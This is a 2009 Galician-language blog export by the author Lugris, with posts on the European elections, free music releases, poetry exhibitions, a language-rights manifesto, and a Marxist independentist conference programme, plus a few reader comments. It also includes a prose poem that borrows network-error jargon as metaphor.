Sítio web do Festival da Terra e da Língua.
----- -------- AUTHOR: Lugris TITLE: Eleiçons e intranscendências. BASENAME: eleicons-e-intranscendencias DATE: Fri, 29 May 2009 17:25:10 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: Cousas por aí CATEGORY: Cousas por cá TAGS: ----- BODY:Há um par de semanas, lim o resultado dumha enquisa num diário que dizia que dous de cada três subditos (à força) do Reino de Espanha nom sabia quê dia eram as eleiçons ao Parlamento Europeu.
Pensei que tal vez o resultado fose um bocadinho exagerado. Mas depois, com o passo dos dias, decatei-me de que nom. A verdade é que pouca gente sabe quando som a eleiçons, e a campanha eleitoral passa por diante de nós com escasso sucesso. Isso fai prever que a participaçom nesse dia nom vai ser muito elevada. Mas aos grandes partidos, aos tertulianos, aos colunistas da imprensa séria nom lhes importa isso. Melhor, pensam. O Parlamento Europeu está considerado como um retiro dourado, umhas férias, ou umha saida digna para aqueles e aquelas que já nom tenhem lugar nas outras instituiçons: cobrar muito, muito, trabalhar pouco, pouco, e nunca, nunca ter que rendir sobre o trabalho feito ou deixado de fazer.
Hoje no trabalho derom-nos os horários para o próximo mês (nom foi sem tempo). A novidade é que começamos a trabalhar nas fins de semana, cousa que o grupo no que estou inserido nom vinha fazendo desde que começou a funcionar (há um mes e meio, mais ou menos). Tocou-me trabalhar a fim de semana das eleiçons. Tivem que avisar entom de que o dia 7 nom poderia acudir ao trabalho, porque som membro dumha Mesa Eleitoral no concelho onde resido: som Presidente Suplente, e tenho a obriga, que cumprirei por imperativo legal, de me apresentar para realizar a constituiçom da Mesa. Aguardo, isso sim, que se apresente o Presidente Titular, e nom ter que fazer parte efectiva da Mesa. E quando comuniquei este facto, nom forom poucas as pessoas que me perguntarom quê dia eram as eleiçons. E ainda algumha me perguntou que quais eleiçons eram as que se celebravam esse dia.
E é que a gente bem sabe que é em Europa onde se tomam umha grande parte das decissons que nos afectam na vida diária; mas também sabe que nom é o Parlamento Europeu (que já padece grandes défices de democracia) a entidade na que realmente se decide: é noutras entidades, algumhas delas bem opacas.
(E quando digo "decissons que nos afectam na vida diária", estou a empregar a quarta definiçom que o e-Estraviz dá ao termo "afectar": (4) Produzir doença, causar padecimento...
De todas as formas já sabem: a escolha é sua. O 7 de Junho, se vas ir votar, quando menos emprega a tua papeleta para dar-lhes umha boa pancada nos fuzinhos.
----- -------- AUTHOR: Lugris TITLE: Bendita evasom. BASENAME: bendita-evasom DATE: Mon, 25 May 2009 14:14:42 +0000 STATUS: publish PRIMARY CATEGORY: Músicas CATEGORY: Gz é bem pequena TAGS: ----- BODY:[youtube]8Qek_kKqzbY[/youtube]
Cedo-lhe a palavra ao e-Estraviz:
Evasom: s. f. (1) Acto ou efeito de evadir-se: planear uma evasom. (2) Prática que consiste em evitar pensar nos problemas do quotidiano. (3) Atitude deliberada que consiste em evitar falar sobre uma questom. (4) Evasiva, subterfúgio [lat. evasione].
Como sempre, A PROPIEDADE INTELECTUAL É UM ROUBO.
Copia, cola, distribue, difunde.
A partir de hoxe mesmo poderedes descargar de balde o novo disco das AE. Como sempre, dende A Regueifa Plataforma. Tamén é noviño do trinque o videoclip de Criptozooloxía aplicada.
PORQUE EXISTE O MUNDO E PODE SER DE TODAS...
Despois de Galicia es una mierda, Ataque Escampe emprende, neste seu segundo disco, a aventura de construír unha epopea: fuxir da prisión para regresar novamente a ela.
Teñan o valor de deixarse levar e acompañar ao grupo nesta longa singradura polas melodías da evasión. De certo que acadarán os lugares máis xélidos e afastados, coñecerán as especies imposíbeis e verán solpores que nunca existirán. E perdan coidado polo seu posto de traballo estábel e remunerado, alí onde irán non o han necesitar.
Leven, iso si, unha grande mala, pois estas historias son coma souvenirs: pequenas e baratas na súa extensión, mais enormes ao nos transportaren ao lugar máis inseguro, capitais a arder de ruído, continentes especiais, espaciais. E lembre, o seu camarote está nas orellas, pécheas se non quere que lle rouben algún obxecto valioso.
Ladies and gentlemen, tomen asento, pechen os ollos e vaian quentando os pés. Come fly with us.
A aventura pode comezar. ----- -------- AUTHOR: Lugris TITLE: Essas luzes BASENAME: essas-luzes DATE: Thu, 21 May 2009 21:22:38 +0000 STATUS: publish PRIMARY CATEGORY: Para Ver Ler CATEGORY: Escrever nom é mau CATEGORY: Palavras nas pedras TAGS: ----- BODY:Essas luzes que
me rodeam é o lume
da terra
Uns versos já publicados neste blogue, e que agora fam parte também do projecto "poesia_para_ver/poesia_para_ler".
----- -------- AUTHOR: Lugris TITLE: As letras galegas também som do Bierzo BASENAME: as-letras-galegas-tambem-som-do-bierzo DATE: Sat, 16 May 2009 08:36:04 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: Cousas por cá TAGS: ----- BODY:"Cual tesoro q'a codicia
de dóus avaros escolta
con xusticia, óu sin xusticia,
tira por éla Galicia,
máis Castilla non a solta"
Antonio Fernández y Morales, Ensayos Poéticos en Dialecto Berciano (1861)
----- COMMENT: AUTHOR: eduardo carmo [Visitante] DATE: Wed, 03 Jun 2009 09:30:06 +0000 URL:Grandes desgaças atingiram a Velha
peninsula.Aqui vão algumas delas:
1ªInvasões visigoticas.
2ªInvasões romanas.
3ªFundação de castela.
4ªOs reis católicos.
5ªA inquisição.
6ªinvasões francesas
7ªFrancico Franco.
8ªGuerra Civil Espanhola.
9ªAntónio de Oliveira Salazar.
10ªJosé Aznar.
Estas foram sem dúvida Grandes desgraças.
Saudações.eduardo carmo
Enquanto nós aquí a sul da fronteira estamos de bem com a nossa lingua
galaico-portuguesa,vos aí pelo norte
ainda andam a discutir o duelo bierzo-
berzo.O que que se passa com os galegos?
Será que vocês ainda são os portugueses
que aceitaram a derrota e nós os portugueses somos os galegos que
vencemos a batalha?
eduardo carmo
http://mas.lne.es/diccionario/index.php?palabra=bierzu&buscarter=on
Os que tantos molestáranse em chamar-lhe “hoya", melhor digan “cuna”
Bierzu=berciu=brizu=berce=berço.
[youtube]SVknLuTBoss[/youtube]
Para mim, foi esta. Durante muito tempo, enganchado a estes sonhos, cama e macarrons. Ai, quem for abrigo, para andar contigo!
Tardei, de todas as formas. Quando tinha 18 anos nom estava entre os cassetes do meu quarto.
Abur.
Galego, sempre mais
Contra a imposiçom do castelhano
Adire à manifestaçom que terá lugar o dia 17 de maio às 12h15 em Compostela: info[@]galegosempremais.net
O dia 17 de maio é um dia para denunciar nas ruas a única imposiçom lingüística verificável que este país sofre diariamente. E este ano estamos a viver um contexto novo, um contexto cheio de dúvidas e de poucas esperanças para a sobrevivência da língua na Galiza, daí que todos o colectivos que assinamos este manifesto queiramos expressar conjuntamente o nosso ponto de vista e contribuir para o avanço da normalidade lingüística no nosso País.
O nosso manifesto leva como lema ?Galego, sempre mais?, e dizemos isto porque achamos que se por um lado o galego é umha língua cheia de possibilidades e oportunidades, por outro lado, tudo o que se fizer na Galiza em favor dos usos da língua galega nunca será suficiente. Saímos à rua com umha mensagem clara: ?Contra a imposiçom do castelhano?.
Os colectivos que assinamos este manifesto temos toda a vontade de somar esforços pola dignificaçom do galego na Galiza. Se este 17 de maio nom há convocatória unitária é porque a mesa pola normalizaçom lingüística optou por prescindir do resto de organizações (fomos convidados a apoiar umha mobilizaçom já convocada previamente). A Mesa nom é a única organizaçom a defender a língua e, portanto, nom pode agir como se o fosse. É por isto que nom apoiamos nominalmente a manifestaçom da Mesa. No entanto, por responsabilidade com o momento histórico que padecemos, somaremo-nos a este 17 de Maio. Faremo-lo mantendo umha distáncia com quem achamos que atende mais as necessidades de umha sigla política que as do movimento normalizador.
Por todo isto este 17 de maio queremos fazer saber que:
1. É umha falácia que exista umha imposiçom do galego. A imposiçom do castelhano nom tem discussom desde o momento em que é a única língua que todos os cidadãos e cidadãs do estado espanhol têm a obriga de conhecer segundo a constituiçom espanhola.
2. Reclamamos, para enfrentar esta situaçom, a aboliçom do sistema legal que subordina o galego ao castelhano, a aboliçom do supremacismo castelhano que procura a limpeza do galego e exigimos a implementaçom de autênticas políticas de normalizaçom lingüística ao serviço da nossa sociedade.
3. Consideramos hipócrita a negaçom do conflito lingüístico existente na sociedade galega, causado por umha legislaçom de inspiraçom perversa, que condiciona e impede o desenvolvimento de umha verdadeira normalizaçom lingüística. Exigimos, aliás, que instituições teoricamente concebidas para o estudo e potenciamento da língua (RAG e ILG) se pronunciem sobre tal conflito, saindo de um silêncio que colabora na subordinaçom do galego e na manutençom do supremacismo castelhano.
4. Afirmamos que a normalizaçom lingüística é um direito colectivo inalienável, constituindo a necessária coesom social de cada povo em torno à língua própria. O monolingüismo social é o complemento natural ao polilingüismo individual e à diversidade lingüística crescente das sociedades actuais. Negamos a reduçom do galego a um fenómeno meramente individual pois, como qualquer língua viva, é umha realidade social cujo sentido e utilidade reside no seu uso na Galiza como língua comum a todos e todas e para o relacionamento internacional.
5. Toda a instituiçom social, como os meios de comunicaçom, ensino, administraçom e quaisquer serviços públicos, deve contribuir, portanto, à eliminaçom dos preconceitos e discriminações contra a nossa identidade lingüística e cultural e promover a normalizaçom lingüística. Denunciamos especialmente a pretensom de continuar discriminando o galego no ensino infantil e pré-escolar, encorajando o auto-ódio e a galegofobia.
6. Consideramos que, frente ao recrudescimento do discurso refractário ao galego na vida pública, a política lingüística nos últimos quatro anos se tem caracterizado polo continuísmo com a era fraguista. E que com a chegada do novo governo à Junta da Galiza se aproximam tempos de retrocesso e de concessom aos sectores mais espanholistas.
7. A nossa aposta é reintegracionista, pois consideramos que o único futuro do galego passa por integrar-se no mundo da Lusofonia que permitirá a sua sobrevivência, ajudará ao seu prestígio e, sobretudo, fará com que os utentes tenham um universo de possibilidades de relações humanas, comerciais e culturais ao seu dispor.
8. Fazemos parte do movimento social de base que trabalha diariamente ao longo de muitos anos para a dignificaçom da língua e da cultura galegas e que nom somos um movimento que fique à espera de que governos ou instituições venham a lançar leis que salvem ou embarguem o futuro da língua.
9. O sistema cultural galego, com todos os seus produtos, é um sistema cultural dependente do sistema cultural espanhol e tem como conseqüência que todos os produtos que chegam a nós tenham que ter passado anteriormente um filtro. A nossa cultura nunca conseguirá falar em pé de igualdade com culturas doutros lugares estando baixo este jugo, pois nom poderá ter presença própria, senom através da espanhola.
10. Denunciamos a discriminaçom e silenciamento da tradiçom cultural galeguista do reintegracionismo, e reclamamos o justo reconhecimento social de umha das principais figuras culturais do século xx galego, cujo legado continua vivo: Ricardo Carvalho Calero, para quem reclamamos o Dia das Letras no ano 2010, ano em que se cumprem 100 anos do seu nascimento e 20 anos do seu finamento.
Contra a imposiçom do castelhano
Galego sempre mais
Entidades convocantes:
Associaçom Galega da Língua
Movimento Defesa da Língua
Mocidade pola Língua
Fundaçom Artábria
C.S. Baiuca Vermelha
C.S. Esmorga
C.S. Faísca
C.S. Fouce de Ouro
C.S. Gentalha do Pichel
C.S. Gomes Gaioso
C.S. Henriqueta Outeiro
C.S. Mádia Leva!
C.S. Revira
C.S. Roi Soga de Lobeira
C.S. Sem Um Cam
S.C.D. Condado
Apoiantes:
AGIR
Agrupaçom de Montanha Augas Limpas
A.C. Almuinha
L'ambaixada de Països Cataláns na Galiza
Assembleia da Mocidade Independentista
Assembleia de Filologia
Assembleia de Mulheres do Condado
Briga
Colectivo Cultural Buril
Espai Gallec dels Països Catalans
Fala Ceive
GalizaLivre.org
Gráficas XERGA, S.C.
Maribolheras Precárias
NÓS-Unidade Popular
Sei O Que Nos Figestes... Nos Últimos 525 Anos
Siareir@s Galeg@s
Sociedade Cultural "Conto da Feira"
Treme a Terra
Verdegaia
Assoc. Cultural Pró-AGLP
----- -------- AUTHOR: Lugris TITLE: XII JIG: Perspectivas da luita anticapitalista BASENAME: xii-jig-perspectivas-da-luita-anticapita DATE: Wed, 06 May 2009 19:37:32 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: Cousas por aí TAGS: ----- BODY:Reconhecidas figuras do marxismo internacional visitarám a Galiza para participar na décima terceira convocatória das Jornadas organizadas por Primeira Linha desde 1997. Nesta ocasiom, especialistas de Porto Rico, Brasil, Portugal, Euskal Herria e Galiza porám em contraste as suas teses sobre a vigência da revoluçom socialista e as perspectivas abertas pola crise capitalista. Reproduzimos a seguir o texto de apresentaçom elaborado polo Comité Central de Primeira Linha e as referências biográficas das companheiras e companheiros participantes.
Serám no Centro Social do Pichel (Compostela), no dia 30 de Maio, a partir das 11 da manhá e das 5 da tarde.
A vinte anos da queda do socialismo soviético
Perspectivas da luita anticapitalista
Duas décadas depois do início da implosom do socialismo soviético na Europa oriental, os prognósticos dos apologetas do Capital fracassárom. A queda deste modelo de socialismo, caracterizado por profundas imperfeiçons políticas, económicas, sociais, ideológicas que contribuírom para a sua quebra, nom evitou que o sistema capitalista se ache na actualidade atravessando umha das crises estruturais mais graves e profundas da sua história.
Contrariamente aos discursos triunfalistas do ?fim das ideologias?, da vitória da economia de mercado e das formas de dominaçom burguesas, vigorantes na década de noventa do século passado, o neoliberalismo e o imperialismo, nas suas diversas variantes, estám hoje a ser progressivamente questionados.
A expansom global do capitalismo na sua etapa senil nom só mostrou a sua incapacidade para resolver os problemas da humanidade, como constatou que é a causa principal da actual crise global que padecem os povos e as maiorias sociais, e do desastre ecológico que ameaça a sobrevivência da nossa espécie.
Hoje, a vinte anos do início dos acontecimentos que mudárom o mundo, já temos suficiente visom para podermos analisar as perspectivas da luita pola emancipaçom da classe trabalhadora, os povos e as mulheres após os convulsos anos de naufrágios, abandonos, deserçons, oportunismos.
Factos, sem lugar a dúvida, imprescindíveis para gerar a intensa, embora insuficiente, reconfiguraçom da esquerda revolucionária, de eclosom de novos sujeitos sociais, de novas luitas e formas de combate, que se deu, que se está a desenvolver em escala planetária, e da qual o nosso partido é umha modesta expressom na Galiza.
As Jornadas Independentistas Galegas deste ano, que já atingem a sua XIII ediçom, tenhem como objetivo analisar e debater as perspectivas revolucionárias que se abrem nesta conjuntura de crise capitalista e a vigência da Revoluçom Socialista, sempre com o pano de fundo de um modelo estatista e burocrático de socialismo que fracassou na URSS e na Europa Oriental há vinte anos e que nos dias de hoje atravessa umha profunda crise noutras latitudes planetárias.
Por este motivo, nesta ocasiom, contamos com a presença de seis vozes da esquerda revolucionária do Brasil, Euskal Herria, Porto Rico, Portugal e da Galiza, que sem dúvida contribuirám para a continuidade da construçom dessa Galiza combativa e rebelde que nom renuncia ao objectivo estratégico de atingir umha sociedade sem classes por meio da Revoluçom Socialista, como primeiro passo face o Comunismo.
Comité Central de Primeira Linha
Galiza, Maio de 2009
Programa (sábado, 30 de Maio de 2009)
- 11 da manhá: Perspectivas revolucionárias perante a crise do sistema capitalista, com Valério Arcary (Brasil), Ana Barradas (Portugal) e Domingos A. Garcia Fernandes (Galiza).
- 5 da tarde: Vigência da Revoluçom Socialista, com Iñaki Gil de San Vicente (Euskal Herria), Salvador Tió (Porto Rico) e Carlos Morais (Galiza).
Participantes
Valério Arcary
Nasceu no Rio de Janeiro, Brasil, em 1952, mas realizou a secundária em Lisboa. Estudou Sociologia em Nanterre Paris X, História na Universidade de Lisboa, quando foi eleito, durante os anos da revoluçom portuguesa, para a Executiva Nacional Pró-UNEP. Retornou ao Brasil em 1978 e foi um dos líderes do movimento estudantil que resistiu nos últimos anos da ditadura, tendo sido candidato à secretaria-geral da UNE (União Nacional dos Estudantes) em 1980.
Nos últimos trinta anos foi professor de História em São Paulo. Ensina no Instituto Federal de Educação, Ciência e Tecnologia desde 1988.
Defendeu o doutoramento em História na Universidade de São Paulo em 2000. É autor de As esquinas perigosas da história, situações revolucionárias em perspectiva marxista e O encontro da revolução com a história, socialismo como projeto na tradição marxista. Colaborou como autor em outros doze livros, e publicou dezenas de artigos em revistas especializadas. Foi secretário-geral da CUT em São Paulo em 1985 e membro da Direçom e da Executiva Nacional do PT entre 1987/1992. É membro do conselho editoral da revistaOutubro. Foi candidato a Prefeito de São Paulo polo PSTU em 1996. É membro do Comité Central do PSTU.
Ana Barradas
Tradutora e jornalista nascida em Moçambique em 1944 inciciou a actividade política fundando com outr@s jovens a Pró-Associação dos Estudantes do Ensino Secundário.
Na África do Sul e em Moçambique desenvolveu actividades anticolonialistas até finais dos anos 60. Em Portugal fijo parte da Comissão de Apoio aos presos políticos e integrou umha organizaçom marxista-leninista. Depois do 25 de Abril aderiu à União Democrática Popular (UDP) e ao Partido Comunista Reconstruído, PCP(R). Abandona ambas organizaçons em 1983 para fundar a organizaçom comunista Política Operária.
Actualmente é redactora da revista Política Operária.
Reconhecida voz do feminismo em Portugal, dirige a editora feminina Ela por ela, é autora de vários livros, entre os que destacamos Dicionário incompleto das mulheres rebeldes; Ministros da noite; Livro negro da expansão portuguesa; O impêrio a preto e branco. Tem traduzido mais de cinqüenta títulos para diversas editoras.
Domingos Antom Garcia Fernandes
Nasceu em Hermunde-Pol, na Terra Chá, a 21 de Janeiro de 1948. Cursou dez anos de Estudos Eclesiásticos no Seminário Diocesano de Lugo. Mestre de Primeiro Ensino pola Escola Normal de Lugo. Licenciado e Doutor em Filosofia pola USC. Foi Professor de EGB e Catedrático de Filosofia no Ensino Secundário.
Membro fundador da Aula Castelao de Filosofia, da qual foi porta-voz e coordenador e da qual na actualidade é membro de honra. Professor de História da Antropologia e de Antropologia Económica na UNED de Ponte Vedra. Professor de Cultura e Pensamento no Quarto Ciclo da Universidade de Vigo.
Co-autor de Antom Losada. Teoria e Praxis (1984), Reflexons sobre a vida moral (1995), A Ética na que vives (1995).
Participou como relator ou comunicador em numerosos Congressos e Jornadas com temas como a filosofia marxista, os NMSA, o estatuto e as funçons da Filosofia, a problemática nacional em relaçom com a questom ecológica, et cetera. Colaborou en diferentes jornais e revistas e prologou diversos livros.
É colaborador habitual do Abrente e da Abrente Editora.
Iñaki Gil de San Vicente
Nasceu a 18 de Setembro de 1951 em Donostia, Euskal Herria. Desde jovem fai parte do movimento de libertaçom nacional basco, sofrendo por este motivo prisom e repressom por parte do Estado espanhol.
Tem publicados inumeráveis artigos de opiniom em jornais escritos em espanhol, francês, alemám, italiano, inglés e galego-português.
Autor de numerosos ensaios e estudos. Um dos seus primeiros textos longos foi Contra eurocomunismo: revolución. É autor de umha das primeiras análises críticas sobre o Tratado de Maastricht e a construçom europeia.
Em galego, tem publicado, na Abrente Editora, Aprender e atrever-se a pensar bem; As categorias marxistas e a definiçom da globalizaçom como fenómeno e forma actual do capitalismo; Capitalismo e emancipaçom nacional e social de género.
O grosso dos seus textos recentes, mais de cinqüenta, estám disponíveis em diversos sites como www.lahaine.org; www.boltxe.info; www.rebelion.org; www.insurgencia.org; www.sigloxxi.com; www.primeiralinha.org; www.kaosenlared.org.
Salvador Tió
Nasceu em Porto Rico em 1946. Desde muito jovem participa no movimento independentista, militando no Partido Independentista desde 1964 até 1973 para posteriormente colaborar com o Partido Socialista Portorriquenho.
Cursou estudos de filosofia na Universidade de Porto Rico e de Direito na Universidade de Harvard. Como advogado dedicou-se principalmente à defesa de grupos marginalizados como os sem terra e sem teito, os trabalhadores imigrantes agrícolas, os bairros, os pescadores, os perseguidos políticos.
Em Maio de 1979 é detido na Ilha de Vieques com outr@s 20 companheir@s por interferir nas práticas de tiro da Marinha de Guerra norteamericana. Em Nova Iorque dirigiu o Gabinete Regional de Serviços Legais e a Uniom de Liberdades Civis de esse estado.
Foi professor de Direito na Universidade de Porto Rico.
Actualmente forma parte da Presidência Colectiva da Coordenadora Continental Bolivariana representando a Porto Rico e é membro da Escola de Quadros Vladimir Lenine. Assesor geral de grupos ambientalistas exerce de advogado defendendo a militantes do movimento socialista, comunista e independentistas portoriquenho.
Carlos Morais
Nasceu em Mugueimes, Moinhos, na Baixa Límia, 12 de Maio de 1966. Licenciado e com estudos de doutoramento em Arte, Geografia e História pola Universidade de Santiago de Compostela tem publicado diversos trabalhos e ensaios de história entre os que destacam Crónica de Fonseca; A luita dos pisos 1979-1980. Umha aproximación, assim como dúzias de artigos no Abrente, A Peneira, A Nosa Terra, Vieiros, Política Operária, Kaosenlared, Rebelión, Amauta, Agência Bolivariana de Prensa e outras publicaçons periódicas digitais. Também tem publicado ensaios políticos em diversos livros colectivos editados pola Abrente Editora.
Activista dos movimentos sociais, inicialmente do estudantil, sendo fundador dos Comités Abertos de Faculdade no cámpus universitário de Ourense, participou no movimento antiimperialista e na solidariedade internacional, assim como no antimilitarista. É militante comunista desde jovem.
Promotor do Capítulo Galiza da Coordenadora Continental Bolivariana actualmente forma parte da Direcçom Nacional de NÓS-UP, e é secretário-geral de Primeira Linha.
----- -------- AUTHOR: Lugris TITLE: Já está aqui BASENAME: ja-esta-aqui DATE: Mon, 04 May 2009 14:53:04 +0000 STATUS: publish PRIMARY CATEGORY: Músicas CATEGORY: Cousas por aí CATEGORY: Escrever nom é mau CATEGORY: Cousas por cá CATEGORY: Gz é bem pequena TAGS: ----- BODY:Com certeza. Já está aqui, acó. O novo disco, o terceiro já, de FANNY+ALEXANDER está já nos webs para a sua descarga gratuita, de balde, e, segúm contam, em poucos dias estará também nas ruas e nas tendas. Entre os 11 temas do disco, está versom do meu poema, que agora também é cartaz, Artefacto Burbur.
Umha recomendaçom para a vosa discoteca particular!
Este é o texto promocional do disco, tirado do seu web:
FANNY+ALEXANDER ? Alfaias (A Regueifa Discos, 2009)
Os composteláns Fanny + Alexander están de volta co seu terceiro disco, Alfaias, de novo editado baixo licenza Creative Commons tanto en formato físico a traves de A Regueifa Discos coma en formato mp3 no netlabel A Regueifa Plataforma. Ao longo de once novos temas o duo percorre as distintas aristas do poliédrico Pop contemporáneo, indo dende o pop indietrónico de temas coma Setecentos e Espida de credo até o pop acústico e canónico de músicas coma Tardes de domingo e Na febre dos incendios, sen renunciar nunca á atitude experimentadora e permanente vontade de penetrar en estilos aínda inéditos na nosa lingua, coa firme vocación de levar o pop galego aos sons do século XXI.
Continuando coa liña dos seus dous primeiros traballos, as letras de todos os temas son adapatacións de textos de autores galegos da súa xeración (Mario Regueira, Emma Couceiro, Diego Ameixeiras, Lara Dopazo Ruibal, Xiana Arias, Igor Lugris, Pedro Lamas, Yolanda Castaño, Estibaliz Espinosa, Daniel Salgado e Alberte Momán), contando ademais coa colaboración das voces de Carlos Valcárcel de Projecto Mourente en Artefacto Burbur, Martin Wu de The Homens en Toda esa enerxia escura, Alex Charlón de Ataque Escampe en Vigo ou Berlin e o hammond de Banin de Los Planetas en Tardes de domingo.
Esta é a prova. Umha grande pequena festa, onde o importante nom som as autoridades que podam pretender presumir de festa na sua localidade, na sua regiom, ou na sua comunidade autónoma. O importante é a própria festa. Mais que recomendável. Apontade-a no vosso calendário para próximos anos.
----- COMMENT: AUTHOR: sarai [Visitante] DATE: Fri, 08 May 2009 11:25:46 +0000 URL: http://www.lula-lula.blogspot.comQUE DOUS!!!!!!
:)
Manham, aos Maios! A Vila Franca do Bierzo, a percorrer as ruas co Maio mozo. "Por cada rua há um Maio e por cada Maio vários músicos que o acompanham cantando umha copla milenária casa por casa. As estrofas da copla fam umha petiçom muito parecida a um aguinaldo e segundo a generosidade dos vizinhos canta-se umha estrofa de agradecemento ou com ironia e escarnho. Umha tradiçom milenária que une homem, natureza e música num espectáculo sobrenatural: O Maio Vivo de Vila Franca".
----- -------- AUTHOR: Lugris TITLE: 25 DE ABRIL, SEMPRE! BASENAME: 25-de-abril-sempre DATE: Sat, 25 Apr 2009 07:43:41 +0000 STATUS: publish PRIMARY CATEGORY: Músicas CATEGORY: Gz é bem pequena CATEGORY: B.S.O. da memória TAGS: ----- BODY:[youtube]831MOlFMZCE[/youtube]
Grândola, vila morena
Terra da fraternidade
O povo é quem mais ordena
Dentro de ti, ó cidade
Dentro de ti, ó cidade
O povo é quem mais ordena
Terra da fraternidade
Grândola, vila morena
Em cada esquina um amigo
Em cada rosto igualdade
Grândola, vila morena
Terra da fraternidade
Terra da fraternidade
Grândola, vila morena
Em cada rosto igualdade
O povo é quem mais ordena
À sombra d'uma azinheira
Que já não sabia a idade
Jurei ter por companheira
Grândola a tua vontade
Grândola a tua vontade
Jurei ter por companheira
À sombra duma azinheira
Que já não sabia a idade
Ou o que é o mesmo: 2000 vacas para ver, 2000 vacas para ler.
Na próxima sexta-feira, 24 de Abril, inauguramos a exposiçom "poesia para Ver/poesia para Ler", na Galeria "DOSMILVACAS.arte", de Ponferrada, sala de exposiçons e actividades que é um foco de vitalidade e cultura graças ao bom fazer e capacidade(s) da sua direitora, Reme Remedios.
Depois de ter passado por Cabanas Raras, por Salvaterra, por Ponte Areas, por Compostela, por Trasancos, novamente por Cabanas Raras,... agora é Ponferrada onde estarám pendurados estes cartazes, estes poemas.
O 24 inauguraremos com petiscos, vinho, licor café e música. E cara os primeiros dias de Maio, contamos com poder organizar um micro-macro recital de poesia, do que já informaremos mais adiante.
Quem queira, quem poida, estar esse dia em Ponferrada, já sabe onde me pode atopar. A entrada, com certeza, é livre e de balde. Mais que livre, ilimitada.
O projecto sigue a medrar, ainda que agora, com os cámbios laborais e vitais que estamos a viver, caminha mais a modo. Como sempre, agradeceremos a difusom desta informaçom entre os vossos contactos, amizades, conhecid@s e vizinhanças várias. Muito obrigado.
----- -------- AUTHOR: Lugris TITLE: Poïética, este Sábado, às 20.30h. BASENAME: poietica-este-sabado-as-20-30h DATE: Wed, 15 Apr 2009 18:30:40 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: Cousas por aí CATEGORY: Escrever nom é mau TAGS: ----- BODY:Este Sábado dia 18, poderei, poderedes e poderemos compartilhar versos, palavras e músicas com @s poetas Xiana Arias, Luz Fandiño, Andrea Núñez, Séchu Sende, Marta Dacosta e a guitarrista Maya Grillo, no II Festival de Poesía Galega Contemporánea "POÏÉTICA", que organiza o Concelho de Poio. Terá a partir das 20.30h., no Casal de Ferreiros (Avda. Andurique, 43, San Salvador, Poio). Estám tod@s convidad@s. E, como sempre, agradecerá-se a difusom publicitária e propagandística deste acto.
Além disto, a fim de semana preve-se cheia de actividades poéticas polo país adiante, tal e como recolhe Lándoas no seu blogue: a II Semana de Poesía Salvaxe, em Ferrol, e o II Simposio Poéticas de Resistencia, em Compostela.
Mágoa nom poder estar a todo.
Para quem queira ir a ao II Festival de Poesía Galega Contemporánea , e nom saiba como, aqui vai um planinho:
Paco: obrigado pola recomendaçom.
Andrea: o prazer também foi para mim. A ver se se repite. Saúdos.
Ola!!
Foi todo un pracer compartir cartaz contigo…paseino moi ben en Poio…agora xa apunto o teu link e xa te teño controlado…
beixooos!
Andrea
Esta revistiña é moi boa, bótalle un ollo
http://www.fim.org.es/media/1/1105.pdf
Cabanas Raras acolherá o próximo Domingo, dia 19, a projecçom do documentário "La isla de Chelo". Trata-se dum filme de 57 minutos sobre a vida da guerrilheira Consuelo Rodríguez López "Chelo", realizado por Odette Martinez-Maler com a participaçom de Ismael Cobo & Laetitia Puertas. Os dias 17 e 18, poderá ser visto também no Barco e em Monforte. No acto, estarám presentes além da própria protagonista, a realizadora Odette Martinez-Maler e Francisco Martínez López "Quico", um dos guerrilheiros da partida de Girom, resistente na zona do Bierzo ao golpe fascista de 36, e natural de Cabanas Raras.
----- -------- AUTHOR: Lugris TITLE: Desvario (3) BASENAME: desvario-3 DATE: Fri, 03 Apr 2009 21:53:21 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Para Ver Ler TAGS: ----- BODY:Endereço nom atopado.
Direcçom desconhecida.
Lugar inexistente.
O seu sistema foi incapaz de dar com o servidor que procurava. O bucle nom acolhe sincronizaçom no concentrador. Se calhar o endereço nom existe ou o servidor prefire nom dar com ele.
Houvo um erro, umha gralha, um descuido, umha ignoráncia, umha falta de verdade ao teclear o nome do lugar? Está vostede certo de que a direcçom do domínio existe e a sua expiraçom nom se tem registado já? Pode ser que para o óptimo aproveitamento do pesquisador vostede tenha que afirmar como verdadeiro aquilo que sabe que nom pode ser falso? Provou vostede a navegar por outros mares?
Verificou a sua configuraçom de rede e os seus servidores DNS? Comprovou vostede que o seu protocolo interno lhe permite aceder à posse dumha clave IP automaticamente? Está vostede protegido, sem sabé-lo, por um firewall situado mais ou menos próximo do seu lugar de residência?
Se vostede está mal configurado ou resulta imcompatível com os sistemas, a sua navegaçom pode resultar complicada. É vostede o legítimo dono da situaçom?
Como sempre é um abraço maravilhoso chegar a esta casa, por isso há um surpreso em http://janeladamoura.blogspot.com.
Muitas saudades
Este presente que vivo é, foi, resulta umha obviedade dizê-lo, o futuro de onte. Esta vida que fago hoje é o meu destino. Foi o meu destino. Miro-me bem. Reviso o que fago. E nom me entendo. Nom o entendo. Nom som quem de descodificar as mensagens cifradas. Som eu. Fago isto, mas nom consigo aceitar este presente como o meu destino. Em quê momento me confundim? Quando foi que equivoquei o caminho? Onde colhim um desvio? Confundim-me? Enganarom-me? De quem é este presente? De quem tinha que ser? Porque estou aqui, nesta sala, rodeado, tecleando dados incomprensíveis num computador. Este presente de hoje que foi destino, futuro, onte, de quem é, quem o tinha que estar vivindo? Estou sentado em algum lugar que reconheço perfeitamente ainda que nem sei onde é, porque nom quero, nom podo, nom sei reconhecer as imagens que os meus olhos dirigem ao meu cerebro. O único cerebro que tenho. Sincronizo, mas nom conecto. Isto nom me pode estar passando. Porquê duvido até de que eu seja realmente eu? Pode ser que este nom seja o meu presente porque eu nom som quem está aqui? Todo parece repetir-se. Todo é completamente novo. Nom sei quê é o que digo. Ainda. O suor molha-me. Tenho febre. Nom estou disposto a asumir a vida doutra pessoa. Nom quero entrar nas suas intimidades. Vou redireccionar os portos. Vou modificar a configuraçom. Quero saber onde estou. Estarei durmindo? Quem é toda essa gente? De quê falam? Prefiro pechar os olhos. Preciso resetear.
